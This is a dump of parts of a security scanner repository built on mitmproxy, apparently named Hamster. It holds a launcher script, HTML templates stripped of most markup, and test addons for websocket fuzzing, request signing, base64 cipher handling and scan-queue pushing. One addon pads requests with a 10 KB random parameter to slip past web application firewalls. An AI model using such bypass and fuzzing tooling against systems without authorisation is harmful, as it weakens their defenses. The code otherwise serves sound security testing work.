"last":e=k.sLast;g=c+(j<n-1?"":" disabled");break;default:e=c+1,g=j===c?"active":""}e&&(i=b("<li>",{"class":s.sPageButton+" "+g,id:0===r&&"string"===typeof c?a.sTableId+"_"+c:null}).append(b("<a>",{href:"#", 8 | "aria-controls":a.sTableId,"aria-label":t[c],"data-dt-idx":p,tabindex:a.iTabIndex}).html(e)).appendTo(d),a.oApi._fnBindAction(i,{action:c},m),p++)}},i;try{i=b(h).find(d.activeElement).data("dt-idx")}catch(u){}q(b(h).empty().html('<ul class="pagination"/>').children("ul"),m);i&&b(h).find("[data-dt-idx="+i+"]").focus()};return f}); -------------------------------------------------------------------------------- /support.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | from argparse import ArgumentParser 7 | from lib.core.core import start_support 8 | 9 | def arg_set(parser): 10 | parser.add_argument('-lh', "--listen-host", action='store', help='Listen address', type=str) 11 | parser.add_argument('-lp', "--listen-port", action='store', help='Listen port',type=int) 12 | parser.add_argument('-sh', "--server-host", action='store', help='Server address', type=str) 13 | parser.add_argument('-sp', "--server-port", action='store', help='Server port', type=int) 14 | parser.add_argument("-d", "--debug", action='store_true', help="Run debug", default=False) 15 | parser.add_argument("-h", "--help", action='store_true', help="Show help", default=False) 16 | return parser 17 | 18 | if __name__ == '__main__': 19 | parser = ArgumentParser(add_help=False) 20 | parser = arg_set(parser) 21 | args = parser.parse_args() 22 | if args.help: 23 | parser.print_help() 24 | else: 25 | start_support(args) -------------------------------------------------------------------------------- /template/login.html: -------------------------------------------------------------------------------- 1 | <!DOCTYPE html> 2 | <html> 3 | <head> 4 | <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> 5 | <meta charset="utf-8"/> 6 | <meta http-equiv="X-UA-Compatible" content="IE=edge"/> 7 | <meta name="viewport" content="width=device-width, initial-scale=1"/> 8 | {% block head %} 9 | <title>{{title}} - Hamster 10 | {% endblock %} 11 | 12 | {% block css %} 13 | 14 | 15 | {% endblock %} 16 | 17 | 18 | 19 |
20 | 21 |
22 |
24 |
25 |
26 |

Login

27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 | 36 |
37 | 38 |
39 |
40 |
41 | 43 |
44 | 46 |
47 |
48 |
49 |
50 |
51 |

{{message}}

52 | 53 |
54 |
55 |
56 |
57 |
58 | 59 |
60 |
61 |
62 |
63 | 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /template/manager/dashboard.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block title %}{{title}}{% endblock %} 4 | 5 | {% block head %} 6 | {{ super() }} 7 | {% endblock %} 8 | 9 | {% block css %} 10 | 11 | {{ super() }} 12 | 13 | 14 | 15 | {% endblock %} 16 | 17 | {% block content %} 18 | 19 |
20 | 21 |
22 |
23 |
24 |
25 |

{{title}}

26 |
27 |
28 |
29 |
30 |
31 |
32 | 33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 | 41 | {% endblock %} 42 | 43 | {% block js %} 44 | {{ super() }} 45 | 46 | 47 | 48 | 49 | 54 | {% endblock %} -------------------------------------------------------------------------------- /template/manager/profile.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block title %}{{title}}{% endblock %} 4 | 5 | {% block head %} 6 | {{ super() }} 7 | {% endblock %} 8 | 9 | {% block css %} 10 | 11 | {{ super() }} 12 | 13 | 14 | 15 | {% endblock %} 16 | 17 | {% block content %} 18 | 19 |
20 | 21 |
22 |
23 |
24 |
25 |

{{title}}

26 |
27 |
28 |
29 |
30 |
31 |
32 |
34 | 35 | 36 | 38 | 39 | 40 | 42 | 43 | 44 | 46 |
47 |

{{message}}

48 |
49 | 51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 | 60 | {% endblock %} 61 | 62 | {% block js %} 63 | {{ super() }} 64 | 65 | 66 | 67 | 68 | 73 | {% endblock %} -------------------------------------------------------------------------------- /template/manager/reset.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block title %}{{title}}{% endblock %} 4 | 5 | {% block head %} 6 | {{ super() }} 7 | {% endblock %} 8 | 9 | {% block css %} 10 | 11 | {{ super() }} 12 | 13 | 14 | 15 | {% endblock %} 16 | 17 | {% block content %} 18 | 19 |
20 | 21 |
22 |
23 |
24 |
25 |

{{title}} Password

26 |
27 |
28 |
29 |
30 |
31 |
32 |
34 | 35 | 36 | 38 | 39 | 40 | 42 | 43 | 44 | 46 |
47 |

{{message}}

48 |
49 | 50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |

{{title}} API-Key

59 |
60 |
61 |
62 |
63 |
64 |
65 |
67 | 68 | 70 |
71 | 72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 | 81 | {% endblock %} 82 | 83 | {% block js %} 84 | {{ super() }} 85 | 86 | 87 | 88 | 89 | 94 | {% endblock %} -------------------------------------------------------------------------------- /test_addon/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /test_addon/agent/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/test_addon/agent/__init__.py -------------------------------------------------------------------------------- /test_addon/agent/test_ws_agent_addon.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import re 6 | import traceback 7 | from copy import deepcopy 8 | from mitmproxy.http import HTTPFlow 9 | from lib.core.data import log 10 | from lib.core.enums import AddonType 11 | from lib.core.enums import ParameterType 12 | from lib.core.enums import VulType 13 | from lib.core.enums import VulLevel 14 | from lib.util.aiohttputil import ClientSession 15 | from addon.agent import AgentAddon 16 | 17 | 18 | class Addon(AgentAddon): 19 | """ 20 | 测试Websockett脚本 21 | """ 22 | 23 | def __init__(self): 24 | AgentAddon.__init__(self) 25 | self.name = 'TestAgentAddonWS' # 脚本名称,唯一标识 26 | self.addon_type = AddonType.WEBSOCKET_ONCE # 脚本类型,对应不同扫描方式 27 | self.vul_name = "TestAgentWS" 28 | self.level = VulLevel.NONE 29 | self.vul_type = VulType.NONE 30 | self.description = "" 31 | self.scopen = "" 32 | self.impact = "" 33 | self.suggestions = "" 34 | self.mark = "" 35 | 36 | async def prove(self, flow: HTTPFlow): 37 | method = self.get_method(flow) 38 | url = self.get_url(flow) 39 | headers = self.get_request_headers(flow) 40 | message = self.get_websocket_message_by_index(flow, -2) 41 | message_list = self.get_websocket_messages(flow)[:-2] 42 | 43 | # 扫描message 44 | if message: 45 | source_parameter_dic = self.parser_parameter(message.content) 46 | async for res_function_result in self.generate_parameter_dic_by_function(source_parameter_dic, self.generate_payload): 47 | temp_parameter_dic = res_function_result[0] 48 | keyword = res_function_result[1] 49 | temp_content, temp_boundary = self.generate_content(temp_parameter_dic) 50 | message.content = temp_content 51 | if await self.prove_test(keyword, method, url, message, headers, message_list): 52 | return 53 | 54 | async def prove_test(self, keyword, method, url, message, headers, message_list): 55 | async with ClientSession(self.addon_path) as session: 56 | async with session.ws_connect(url, method=method, headers=headers, message_list=message_list, message=message) as ws: 57 | if message.is_text: 58 | await ws.send_str(str(message.content, 'utf-8')) 59 | else: 60 | await ws.send_bytes(message.content) 61 | if ws: 62 | msg = await ws.receive_bytes() 63 | if msg and bytes(keyword, "utf-8") in msg: 64 | detail = f"test" 65 | await self.save_vul(ws, detail) 66 | return True 67 | return False 68 | 69 | async def generate_payload(self, content=None): 70 | yield "payload", "keyword" 71 | -------------------------------------------------------------------------------- /test_addon/common/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /test_addon/common/test_sign.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from addon import BaseAddon 6 | from mitmproxy import http 7 | from lib.core.enums import AddonType 8 | from lib.core.enums import VulType 9 | from lib.core.enums import VulLevel 10 | from datetime import datetime 11 | from httpsig import HeaderSigner 12 | 13 | class Addon(BaseAddon): 14 | """ 15 | 测试签名, 给参数签名 16 | 17 | pip install httpsig==1.3.0 18 | """ 19 | def __init__(self): 20 | BaseAddon.__init__(self) 21 | self.name = 'TestSign' 22 | self.addon_type = AddonType.URL_ONCE 23 | self.vul_name = "测试签名", 24 | self.level = VulLevel.NONE, 25 | self.vul_type = VulType.NONE, 26 | self.scopen = "", 27 | self.description = "测试签名", 28 | self.impact = "", 29 | self.suggestions = "", 30 | self.mark = "" 31 | 32 | self.servers = [ 33 | "localhost", 34 | ] 35 | self.app_key = 'test' 36 | self.app_secret = 'test' 37 | 38 | def request(self, flow: http.HTTPFlow): 39 | """server/support 请求包函数入口""" 40 | host = self.get_host(flow) 41 | method = self.get_method(flow) 42 | if host in self.servers and method in ['GET', 'POST']: 43 | path = self.get_path_no_query(flow) 44 | method = self.get_method(flow) 45 | gmt_format = '%a, %d %b %Y %H:%M:%S CST' 46 | data = datetime.utcnow().strftime(gmt_format) 47 | signature_headers = ['(request-target)', 'accept', 'date'] 48 | auth = HeaderSigner(key_id=self.app_key, secret=self.app_secret, algorithm='hmac-sha256', headers=signature_headers) 49 | signed_headers_dict = auth.sign({"Date": data, "Host": host, 'Accept': 'application/json'}, method=method, path=path) 50 | for key, value in signed_headers_dict.items(): 51 | flow.request.headers[key] = value 52 | self.log.info('Sign Success: ' + flow.request.url) 53 | -------------------------------------------------------------------------------- /test_addon/common/test_waf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from addon import BaseAddon 6 | from mitmproxy import http 7 | from lib.core.enums import AddonType 8 | from lib.core.enums import VulType 9 | from lib.core.enums import VulLevel 10 | from lib.util.util import random_lowercase_digits 11 | 12 | class Addon(BaseAddon): 13 | """ 14 | 测试WAF, 添加 1024 * 10 长度的参数, 适用于超长数据包绕过场景 15 | """ 16 | 17 | def __init__(self): 18 | BaseAddon.__init__(self) 19 | self.name = 'TestWAF' 20 | self.addon_type = AddonType.URL_ONCE 21 | self.vul_name = "测试WAF", 22 | self.level = VulLevel.NONE, 23 | self.vul_type = VulType.NONE, 24 | self.scopen = "", 25 | self.description = "测试WAF", 26 | self.impact = "", 27 | self.suggestions = "", 28 | self.mark = "" 29 | 30 | self.servers = [ 31 | "localhost", 32 | ] 33 | 34 | def request(self, flow: http.HTTPFlow): 35 | """server/support 请求包函数入口""" 36 | host = self.get_host(flow) 37 | method = self.get_method(flow) 38 | if host in self.servers and method in ['GET', 'POST']: 39 | data = self.get_request_content(flow) 40 | boundary = self.get_request_boundary(flow) 41 | 42 | # 解析body参数 43 | source_parameter_dic = self.parser_parameter(data, boundary) 44 | 45 | # 添加 1024 * 10 长度的参数 46 | name = random_lowercase_digits(16) 47 | value = random_lowercase_digits(1024 * 10) 48 | temp_sub_parameter_dic = self.create_child_parameter(name, value) 49 | source_parameter_dic["value"].append(temp_sub_parameter_dic) 50 | 51 | # 重新生成参数 52 | temp_content, temp_boundary = self.generate_content(source_parameter_dic) 53 | 54 | # 修改flow参数即可 55 | self.set_request_content(flow, temp_content) 56 | self.log.info('Waf Success: ' + flow.request.url) 57 | 58 | -------------------------------------------------------------------------------- /test_addon/server/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /test_addon/server/scan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import asyncio 6 | import traceback 7 | from addon.server import ServerAddon 8 | from lib.core.enums import VulType 9 | from lib.core.enums import VulLevel 10 | from lib.core.enums import AddonType 11 | 12 | class Addon(ServerAddon): 13 | """ 14 | 捕获原始数据包,可作为后续的分析/扫描处理,比如通过rabbitmq推至web扫描器等。 15 | """ 16 | 17 | def __init__(self): 18 | ServerAddon.__init__(self) 19 | self.name = 'Scan' 20 | self.addon_type = AddonType.URL_ONCE 21 | self.level = VulLevel.NONE 22 | self.vul_type = VulType.NONE 23 | self.vul_name = "数据包推送" 24 | self.scopen = "" 25 | self.description = "数据包推送至扫描器" 26 | self.impact = "" 27 | self.suggestions = "" 28 | self.mark = "" 29 | 30 | async def response_inject(self, flow): 31 | if self.is_scan_response(flow): 32 | await self.push_scan_queue(flow) 33 | else: 34 | url = self.get_url(flow) 35 | self.log.debug(f"Bypass scan response flow, url: {url}, addon: {self.name}") 36 | 37 | def response(self, flow): 38 | asyncio.get_event_loop().create_task(self.response_inject(flow)) 39 | -------------------------------------------------------------------------------- /test_addon/server/scan_ws.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import asyncio 6 | import traceback 7 | from addon.server import ServerAddon 8 | from lib.core.enums import VulType 9 | from lib.core.enums import VulLevel 10 | from lib.core.enums import AddonType 11 | 12 | class Addon(ServerAddon): 13 | """ 14 | 捕获Websocket原始数据包,可作为后续的分析/扫描处理,比如通过rabbitmq推至web扫描器等。 15 | """ 16 | 17 | def __init__(self): 18 | ServerAddon.__init__(self) 19 | self.name = 'ScanWS' 20 | self.addon_type = AddonType.WEBSOCKET_ONCE 21 | self.level = VulLevel.NONE 22 | self.vul_type = VulType.NONE 23 | self.vul_name = "Websocket数据包推送" 24 | self.scopen = "" 25 | self.description = "Websocket数据包推送至扫描器" 26 | self.impact = "" 27 | self.suggestions = "" 28 | self.mark = "" 29 | 30 | def websocket_message(self, flow): 31 | asyncio.get_event_loop().create_task(self.websocket_message_inject(flow)) 32 | 33 | async def websocket_message_inject(self, flow): 34 | if self.is_scan_to_client(flow): 35 | await self.push_scan_queue(flow) 36 | else: 37 | url = self.get_url(flow) 38 | self.log.debug(f"Bypass scan websocket message flow, url: {url}, addon: {self.name}") 39 | 40 | 41 | -------------------------------------------------------------------------------- /test_addon/server/test_server_cipher.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from addon import BaseAddon 6 | from mitmproxy import http 7 | from lib.core.enums import AddonType 8 | from lib.core.enums import VulType 9 | from lib.core.enums import VulLevel 10 | from lib.util.cipherutil import base64decode 11 | 12 | class Addon(BaseAddon): 13 | """ 14 | 测试加解密, 给body加解密, 与support/test_support_cipher.py 对应, 15 | request函数负责给先解密数据包,然后发送到agent扫描 16 | """ 17 | def __init__(self): 18 | BaseAddon.__init__(self) 19 | self.name = 'TestServerCipher' 20 | self.addon_type = AddonType.URL_ONCE 21 | self.vul_name = "测试加解密", 22 | self.level = VulLevel.NONE, 23 | self.vul_type = VulType.NONE, 24 | self.scopen = "", 25 | self.description = "测试加解密", 26 | self.impact = "", 27 | self.suggestions = "", 28 | self.mark = "" 29 | 30 | self.servers = [ 31 | "localhost", 32 | ] 33 | 34 | def request(self, flow: http.HTTPFlow): 35 | """解码请求包""" 36 | host = self.get_host(flow) 37 | method = self.get_method(flow) 38 | if host in self.servers and method in ['GET', 'POST']: 39 | data = self.get_request_content(flow) 40 | data = base64decode(data) 41 | self.set_request_content(flow, data) 42 | self.log.info('Server request cipher Success: ' + flow.request.url) 43 | -------------------------------------------------------------------------------- /test_addon/server/test_websocket.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from addon import BaseAddon 6 | from lib.core.enums import AddonType 7 | from lib.core.enums import VulType 8 | from lib.core.enums import VulLevel 9 | 10 | class Addon(BaseAddon): 11 | """ 12 | 测试脚本, 替换Websocket某个字符串 13 | """ 14 | 15 | def __init__(self): 16 | BaseAddon.__init__(self) 17 | self.name = 'TestWebsocket' 18 | self.addon_type = AddonType.URL_ONCE 19 | self.level = VulLevel.NONE, 20 | self.vul_type = VulType.NONE, 21 | self.scopen = "", 22 | self.description = "测试加解密", 23 | self.impact = "", 24 | self.suggestions = "", 25 | self.mark = "" 26 | 27 | self.servers = [ 28 | "localhost", 29 | ] 30 | 31 | def websocket_message(self, flow): 32 | """server/support websoocket入口""" 33 | 34 | host = self.get_host(flow) 35 | if host in self.servers: 36 | last_message = flow.websocket.messages[-1] 37 | if flow.websocket and last_message.from_client: 38 | flow.websocket.messages[-1] = bytes(str(flow.websocket.messages[-1].content, 'utf-8').replace('test', 'test123'), 'utf-8') 39 | 40 | -------------------------------------------------------------------------------- /test_addon/support/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /test_addon/support/test_support_cipher.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from addon import BaseAddon 6 | from mitmproxy import http 7 | from lib.core.enums import AddonType 8 | from lib.core.enums import VulType 9 | from lib.core.enums import VulLevel 10 | from lib.util.cipherutil import base64decode 11 | from lib.util.cipherutil import base64encode 12 | 13 | class Addon(BaseAddon): 14 | """ 15 | 测试加解密, 给body加解密, 与server/test_server_cipher.py 对应, 16 | request 函数 负责给agent的数据包加密, 便于漏洞扫描, 17 | response函数,看实际情况评估是否需要解密 18 | """ 19 | def __init__(self): 20 | BaseAddon.__init__(self) 21 | self.name = 'TestSupportCipher' 22 | self.addon_type = AddonType.URL_ONCE 23 | self.vul_name = "测试加解密", 24 | self.level = VulLevel.NONE, 25 | self.vul_type = VulType.NONE, 26 | self.scopen = "", 27 | self.description = "测试加解密", 28 | self.impact = "", 29 | self.suggestions = "", 30 | self.mark = "" 31 | 32 | self.servers = [ 33 | "localhost", 34 | ] 35 | 36 | def request(self, flow: http.HTTPFlow): 37 | """解码请求包""" 38 | host = self.get_host(flow) 39 | method = self.get_method(flow) 40 | if host in self.servers and method in ['GET', 'POST']: 41 | data = self.get_request_content(flow) 42 | data = base64encode(data) 43 | data = bytes(base64encode(data), 'utf-8') 44 | self.set_request_content(flow, data) 45 | self.log.info('Support request ipher Success: ' + flow.request.url) 46 | 47 | # def response(self, flow: http.HTTPFlow): 48 | # """解码返回包""" 49 | # host = self.get_host(flow) 50 | # method = self.get_method(flow) 51 | # if host in self.servers and method in ['GET', 'POST']: 52 | # data = self.get_response_content(flow) 53 | # data = base64decode(data) 54 | # self.set_response_content(flow, data) 55 | # self.log.info('Support reponse Cipher Success: ' + flow.request.url) --------------------------------------------------------------------------------